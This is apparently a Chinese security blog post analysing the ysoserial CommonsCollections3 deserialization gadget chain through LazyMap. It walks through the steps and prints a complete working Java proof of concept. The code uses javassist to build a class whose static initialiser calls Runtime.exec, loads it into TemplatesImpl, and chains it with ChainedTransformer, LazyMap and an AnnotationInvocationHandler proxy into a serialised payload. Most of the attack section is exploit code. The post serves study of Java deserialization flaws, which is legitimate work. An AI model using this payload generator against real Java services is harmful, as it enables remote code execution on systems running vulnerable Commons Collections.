天天看點

ysoserial CommonsColletions3分析(2)

上篇文章講到CC3的TransformedMap鍊,這篇我們就來講一下LazyMap鍊。

其實LazyMap鍊還是使用的TemplatesImpl承載payload,InstantiateTransformer、TrAXFilter、ChainedTransformer這三個來構造調用鍊。

和另一條鍊的差別:

主要差別在于調用ChainedTransformer的transform方法是使用LazyMap的get方法觸發。反序列化入口還是AnnotationInvocationHandler的readObject方法,但是和上一篇TransformedMap調用順序有差異。

下圖為LazyMap中的get方法

構造調用鍊

前面都一樣,利用javassist建立了一個攻擊類放入TemplatesImpl,使用InstantiateTransformer、TrAXFilter、ChainedTransformer這三個來構造調用鍊。

public class payload01 {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";

        //建立CommonsCollections2對象,父類為AbstractTranslet,注入了payload進構造函數
        ClassPool classPool = ClassPool.getDefault();//傳回預設的類池
        classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜尋路徑
        CtClass payload = classPool.makeClass("CommonsCollections2");//建立一個新的public類
        payload.setSuperclass(classPool.get(AbstractTranslet));  //設定CommonsCollections2類的父類為AbstractTranslet
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //建立一個static方法,并插入runtime
        byte[] bytes = payload.toBytecode();//轉換為byte數組

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "xxxx");
        setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(
                new Class[]{Templates.class},
                new Object[]{templates})
        };
        ChainedTransformer chain = new ChainedTransformer(transformers);
           

利用LazyMap的decorate方法,把chain指派給factory

ysoserial CommonsColletions3分析(2)
Map innerMap = new HashMap();
Map decorate = LazyMap.decorate(innerMap, chain);
           

後面就和CC1的LazyMap調用鍊一樣了。AnnotationInvocationHandler類中invoke方法調用了get

是以利用反射構造方法傳入this.memberValues=LazyMap

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class, Map.class);
cons.setAccessible(true);
InvocationHandler anno1 = (InvocationHandler) cons.newInstance(Override.class, decorate);
           

再使用動态代理觸發AnnotationInvocationHandler的invoke方法

複習一個知識點:proxy對象調用任何方法,都會通過其對應的InvocationHandler中的invoke方法,也就是AnnotationInvocationHandler中的invoke方法

Map proxyAnno = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), anno1);
InvocationHandler anno2 = (InvocationHandler) cons.newInstance(Override.class, proxyAnno);
           

最終POC

public class payload01 {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";

        //建立CommonsCollections2對象,父類為AbstractTranslet,注入了payload進構造函數
        ClassPool classPool = ClassPool.getDefault();//傳回預設的類池
        classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜尋路徑
        CtClass payload = classPool.makeClass("CommonsCollections2");//建立一個新的public類
        payload.setSuperclass(classPool.get(AbstractTranslet));  //設定CommonsCollections2類的父類為AbstractTranslet
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //建立一個static方法,并插入runtime
        byte[] bytes = payload.toBytecode();//轉換為byte數組

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "xxxx");
        setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(
                new Class[]{Templates.class},
                new Object[]{templates})
        };
        ChainedTransformer chain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        Map decorate = LazyMap.decorate(innerMap, chain);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor cons = clazz.getDeclaredConstructor(Class.class, Map.class);
        cons.setAccessible(true);
        InvocationHandler anno1 = (InvocationHandler) cons.newInstance(Override.class, decorate);

        Map proxyAnno = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), anno1);

        InvocationHandler anno2 = (InvocationHandler) cons.newInstance(Override.class, proxyAnno);
        // 序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(anno2);
        oos.flush();
        oos.close();
        // 本地模拟反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        Object obj = (Object) ois.readObject();

    }
}
           

CC3就此分析完了,是不是覺得有點像CC1和CC2的結合版本,其實整個CC鍊來說,搞定了CC1和CC2,其他的都是這幾個類的互相調用了,是以着重分析CC1和CC2哦。